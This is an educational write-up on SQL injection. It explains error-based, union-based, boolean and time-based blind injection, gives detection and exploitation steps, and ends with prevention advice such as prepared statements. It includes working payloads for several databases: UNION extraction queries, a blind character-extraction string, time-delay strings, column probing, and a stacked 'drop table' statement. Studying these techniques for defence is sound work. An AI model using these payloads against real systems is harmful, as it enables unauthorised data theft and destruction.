# What is SQL injection?
SQL injection is a web vulnerability that allow attacker can insert or inject through the data input from client to server. A successful SQL injection exploit can read sensitive data from the database, modify database data ``(Insert/Update/Delete)``, RCE, execute administration operations on the database ``(such as shutdown the DBMS)``. SQL injection attacks are a type of injection attack.
Login Form (or any place have query to DB) ⇒ WAF ⇒ Web server ⇒ Web application ⇒ DBMS ⇒ Output.
# Where do it occur?
We usually find it on a login form, search field,... or anything that use the query to DB to get data output.
# How many type?
There are three types of SQL injection: In-band, Out-band, Inferential SQL ( Blind).
## In-band
This is a type of SQL injection can recieve the information from HTTP response.
In-band is divided into two main types: Error-based, Union-based.
#### Error-based
Is the type that the result returned to the attacker is a database error string.
Example: If we input ``'`` in a field, the server will display a error string on scree and we know the database is MySQL.
```
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/search.php on line 61
```
#### Union-based
Is the type that the attacker use ``UNION`` clause to recieve the information form the server like ``version``, ``current_user``,...
Example: The query like ``-1' UNION SELECT version(),current_user()--``, and the result will be
```
5.1.73-0ubuntu0.10.04.1
mysql@localhost
```
## Out-band
The response is recieved from another chanel, not the attack chanel like ``webhook``, ``burpcollab``,...
## Inferential SQL ( Blind)
The attacker does not recieve anything from response of the database.
Blind SQL injection have 2 types: Boolean-based, Time-based.
#### Boolean-based
Is the type that the attacker queries with malicious data using boolean operators.
Example: payload
```
'||uid=reverse("nimda")&&if(ascii(substr(upw,1,1))=68,true,false)#
```
Compare first char of ``upw`` column with 68 ('D' in ascii), if true we will see the text ``admin`` in the response.
#### Time-based
Is the type that the attacker queries with malicious data that cause time delays.
# How to detect?
The single quote character ' and look for errors or other anomalies.
Boolean conditions such as OR 1=1 and OR 1=2, and look for differences in the application's responses.
Payloads designed to trigger time delays when executed within a SQL query, and look for differences in the time taken to respond.
# How to exploit?
Find the way to inject.
Confirm the type of SQL injection.
#### Confirming with logical operations
```
page.test?id=1 or 1=1 -- results in true
page.test?id=1' or 1=1 -- results in true
page.test?id=1" or 1=1 -- results in true
page.test?id=1 and 1=2 -- results in false
```
#### Confirming with Timing
In some case, server does not response any information about the databse. So we can making the DB perform actions and will have an impact on the time the page need to load is a good way.
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
#### Exploiting Union Based
Detect how many columns by using ``order by`` or ``group by``.
```
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
1' UNION SELECT 1,2,3--+ #True
```
#### Extract database names, table names and column names
After detect columns, versionDB,... step. We extract the information of database, table, columns. [CheatSheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
#### Exploiting Error based
Example:
```
https://example.com/index.php?name=123’
```
And database return a error:
```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.
```
-> Database: MySQL, syntax error, where is the syntax error occur
#### Exploiting Time Based SQLi
```
1 and select sleep(10) from users where table_name like 'abc%'#
```
if(time >= 10) -> true
else -> false
# How to prevent?
Validate data input, some char like ``'``, ``"``,...
Don’t allow multiple statements.
Ff multipleStatements is true, ``client.query()`` method can execute multiple statement, for example:
```
select * from user; drop table user_info;
```
Prepare Statement
```
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
```
Use ORM like ``Primsa`` for automatic query secure.
Limit access resources for each feature.